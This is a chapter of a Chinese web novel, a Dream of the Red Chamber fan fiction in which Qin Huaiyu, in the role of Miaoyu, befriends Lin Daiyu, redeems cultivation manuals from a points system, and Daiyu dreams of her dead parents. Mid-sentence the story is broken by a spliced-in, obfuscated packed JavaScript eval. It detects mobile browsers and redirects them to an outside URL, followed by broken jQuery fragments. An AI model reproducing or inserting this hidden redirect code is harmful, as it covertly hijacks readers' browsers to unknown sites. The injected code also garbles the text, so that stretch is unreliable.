上一次让她有似曾相识之感的还是宝玉,可见这世间投缘之人,只一面便可知了。
此时,秦怀玉看着林妹妹也想起了贾宝玉,昨日冷眼看两人相处,恐怕二人心中已经生了些许情愫。
不过现在贾元春还未省亲,两人应该还只是青梅竹马的情谊,还没到互表心意的地步。
等再过些日子,她寻个合适的时机跟黛玉暗示一下。
今天说的已经够多的了,贸然提及,恐怕太突兀。
“喝口茶歇一歇”,秦怀玉收回思绪给林黛玉倒了一杯茶,然后继续伏案将自己积累的打坐调养吐息之法写在纸上。
林黛玉一边探头看着,一边同她说话闲聊解闷。
“姐姐,昨日史家妹妹湘云来了,她听我们提及你,十分敬服,几次让我们引荐呢,不知你什么时候得空?”
秦怀玉闻言抬眸思索片刻,“重阳节过后罢,到时候你们择一个时间,咱们再赏花喝茶。”
林黛玉笑着颔首,“也好,只怕重阳节后还要摆场宴席,等老太太、太太她们热闹完,也要几日功夫。”
要摆宴席?可惜她是凑不了这热闹了。
闲聊间,秦怀玉已经洋洋洒洒的写了两页纸,毕竟她曾经还想打坐修仙,对于如何静心养神还是有些心得的。
“好了 ,你且收着,打坐讲究的是静心,不拘时辰,若是觉得累了,只管歇息,千万不要勉强。”
林黛玉小心接过,刚贴身收好,便见这一桌子的东西,忍不住笑了一声:“我只带了一本书来,却没想到收了姐姐这么多东西,可是我占便宜了?”
“这便宜你只管占,我还巴不得呢!”说着秦怀玉看着这些东西,想了想从禅房的柜子里面翻了一个匣子。
“用匣子装着,否则让人瞧见了,倒要费口舌解释。”装好后秦怀玉又拿了几本佛经盖在上面。
林黛玉见此又是好笑又是感动,秦怀玉见她眼下乌青,若是这样回去被人瞧见还以为怎么样了。
索性带她回房擦粉补妆,两人又说了些闺阁女儿梳妆打扮的私密话,眨眼间便到了晌午。
秦怀玉主动道:“看时辰要摆饭了,我就不留你了,只怕丫头来寻。”
话音刚落,便听到门口传来紫鹃的声音:“姑娘,老太太那里要摆饭了。”
林黛玉和秦怀玉闻言忍不住相视一笑,“姐姐,那我先走了,得空再来找你说话。”
“好!”秦怀玉一直送她到栊翠庵门口,方才回房。
路上,紫鹃看着林黛玉步伐轻松,面容含笑,也忍不住笑问道:“姑娘今儿跟妙玉师父说了什么,竟这样高兴?”
林黛玉闻言又是一笑,想着此事也没什么好宣扬的,便道:“没说什么,她也是姑苏人,不过喝茶叙旧,讲讲经文罢了。”
“见姑娘这样,想来是很投缘了?姑娘能多个说话的人,我心里也高兴。”
----
秦怀玉回房之后,下意识去看了下系统,没想到这一看却发现600积分已经全部到账了!
她还以为要跟贾宝玉一样,等到林妹妹梦到父母才能完成呢。
想来方才那一番推心置腹,林妹妹对自己的好感已经有了质的改变。
秦怀玉忍不住轻叹,真是心软的林妹妹。
【你只有600积分,想好先兑换什么了吗?】
听到系统的声音,秦怀玉眼珠一转,“可不可以先赊账?你推荐的那三本秘籍我都想兑换!”
【不行】
听着系统冷酷的声音,秦怀玉也不失望,其实她心里早已经想好了。
“那先兑换《青木养气诀》和《天机》”
《天机》辅助她算命,对现阶段的她来说更有用,《青木养气诀》更是重要,早修炼一天说不定效果就不一样。
她话刚落,两本秘籍瞬间从空中掉下,秦怀玉连忙接住。
这么迅速吗?连个确认兑换的流程都没有,这系统也太不靠谱了。
秦怀玉心里默默吐槽了一句后就迫不及待的翻开手中的两本秘籍。
“呃...这是什么文字?蝌蚪文?”
看得她两眼一抹黑,跟看天书一样!
【仙界之书自不是尔等凡人可以看懂,慢慢领悟去罢】
秦怀玉听了正准备骂人,却发现自己脑海里多了什么东西。
青木养气诀上篇:天地定位,山泽通气,雷风相薄,水火不相射。故木者,承天地中和之气,秉东方仁德之性,为生生之始机......
一道悠远又清晰的声音飘入秦怀玉的脑海,她知道这是在给她讲解,连忙打坐屏气凝神,全神贯注的倾听。
这一学便是一天一夜,连吃饭都顾不上。
-----
却说林黛玉回屋后将东西放好,便去了贾母正房,刚进门贾宝玉连忙凑了上来。
“你们说什么了,这样尽兴?若不打发紫鹃去叫你,只怕连吃饭都不记得回来。”
此时贾母正房内,除了三春史湘云之外,因要商量重阳节给宫里娘娘预备贺礼的事,王熙凤和王夫人也在。
王熙凤在屏风那头听到这话,连忙凑过来,“呦,这话听着好酸呐。”
说着便拿眼上下打量着贾宝玉,啧啧两声,满眼戏谑,贾宝玉有些不好意思的别过脸。
王熙凤见此轻笑了两声,而后又绕到林黛玉跟前,搭着她的肩膀笑问道:“林妹妹这是打哪儿来啊?方才见姑娘们都在一处玩,唯独不见你。”
林黛玉笑道:“我去栊翠庵跟那里的妙玉师父说了会儿话。”
“哦?是她”,那妙玉刚来时她也见过一面,王熙凤笑道:“竟难得你们投缘。”
说话间史湘云也凑了过来,“林姐姐,你可替我说了没有?”
林黛玉颔首,“重阳节后,若是得空,咱们便一起去那里赏花喝茶。”
贾宝玉听了这话转眼便忘了刚才的插曲,立刻拍手道:“这可好,她那里的茶好喝,我可一直惦记着,到时候咱们不比写诗,比一比谁菊花画得好!”
“这个好!”史湘云头一个响应,“不但要作画,还要写诗喝酒,如此才爽快!”
林黛玉闻言笑着点了一下史湘云,“这还没吃酒呢就醉了?你好好想想,那是能喝酒的地方?”
史湘云听了这话才反应过来,她懊恼的拍了拍脑袋,“瞧我,倒忘了,喝茶也好,我爱喝茶呢!”
里间的贾母和王夫人商议完事情后,听到她们姊妹间说得热闹,也笑着出来:“你要喝酒,明儿咱们在后堂摆几桌,一边听戏一边喝!”
说着,贾母又看着王熙凤道:“将珍儿媳妇也叫来,这些日子忙着园子的事,你们也累狠了,趁着节日,咱们一大家子好好乐呵乐呵。”
“是!”王熙凤笑着应了一声,插科打诨间午饭已经好了,吃过饭后,众人便各自散了。
下午贾宝玉应邀出去喝酒,林黛玉等人便去李纨那里做针线。
好容易挨到晚上戌时,等史湘云睡着之后,林黛玉悄悄起身让紫鹃拿个火盆过来。
紫鹃早得知姑娘要做什么,所以早预备好了,两人一起寻了一个靠窗的角
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218832|197480||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
落,林黛玉跪在蒲团上,一边默念往生咒,一边将写着生辰的黄符和两卷手抄经文,放进去烧。
紫鹃在一旁守着,双手合十,心里也默念:林老爷,姑太太,你们要是想林姑娘了,便叫她得偿所愿,在梦里见一面,一家人团聚罢。
而林黛玉口里念着往生咒,脑海里却不禁回想起小时候的事,正鼻腔发酸呢。
忽然一阵狂风砰的一声将窗户吹开,靠窗的桌案上,书被吹得哗哗作响,火盆里正在燃烧的经文被风卷到半空,伴随着灰烬漫天乱飞。
林黛玉和紫鹃被突如其来的意外吓得低呼一声,紫鹃连忙去关窗户,用门栓插紧,林黛玉则忙将吹到地上还冒着火星的经文重新放进火盆。
两人收拾完残局后,紫鹃有些纳闷道:“秋老虎的劲儿还没过呢,好好的,哪儿来的一股凉风?”
正说着,后背忽然升起一股凉意,她看着正燃烧的经文,手臂上忽然激起一层鸡皮疙瘩,“不会有什么脏东西罢?”
林黛玉闻言下意识按住胸口,那里正贴身放着一枚秦怀玉给的护身符,“哪有这样邪门?别自己吓自己。”
说着她一边继续烧经文,一边教紫鹃念护身咒,也不知是不是心理作用,那股凉意忽然就散去了。
经文全部烧完后,紫鹃这会儿倒不怕了,笑着打趣道:“姑娘嘴上说不怕,这护身咒又是哪里来的?”
“妙玉姐姐教的,也是以防万一。”
“好了,你这丫头,别在这里贫嘴,快悄悄将这里收拾了,也好睡觉。”
两人收拾完残局,各自洗手回去睡了。林黛玉躺在床上,想起入梦的事,一时有些兴奋,竟睡不着。
她连忙坐起来按照秦怀玉教的,打坐念静心的经文。
灵台清明后,没一会儿功夫,林黛玉便觉得眼皮有些重,她连忙躺下睡了。
梦里,她回到四岁那年,那时弟弟还没有夭折。
一家人坐在园子里晒太阳,爹爹和娘亲手里拿着布老虎和拨浪鼓满脸笑意的逗她们。
小林黛玉眼睛直盯着小老虎,一把扑到贾敏的腿边,抱着她的小腿,仰着小脸撒娇:“娘亲,我要小老虎!”
那边的弟弟只对发出咚咚响声的拨浪鼓感兴趣,也学着姐姐的样子,虎头虎脑的朝着林如海扑了过去,“爹爹,给我玩!”
小黛玉扑到母亲怀里,贾敏温柔的摸着她的脑袋,“好,娘亲把小老虎给玉儿,以后娘亲会像这个布老虎,永远陪在玉儿身边。”
林如海也摸了摸小黛玉的脑袋,“是啊,爹娘会一直陪着玉儿。”
眨眼间,场景转换,林黛玉坐在去往京都的船上,林如海和贾敏陪伴左右,“玉儿别怕,这次去你外祖母家,千万别委屈了自己,有什么事只管跟外祖母说。”
“爹娘不在,你要好好照顾自己,每天都欢欢喜喜的,这才是最要紧的,旁的事旁的人,都别放在心上...”
林黛玉听着这样关切的话,鼻腔一酸,“爹,娘!”
两行眼泪,从紧闭的眼角滑落,缓缓没入枕头,洇湿了一片。
睡梦中,听到耳边有人啜泣,史湘云揉了揉眼侧身去看,就着月色,见黛玉满脸泪痕,嘴里不知道在嘟囔什么。
史湘云凑过去一听,说的是爹娘。
史湘云默默叹了一口气,替她将滑落到胸口的被子往上提了提,掖好被角后又拿出手帕轻轻替她擦了擦眼泪,这才重新躺下。
只是,史湘云盯着床幔,却迟迟睡不着。
人人都有爹娘,人人都想爹娘,可她的爹娘长什么样子?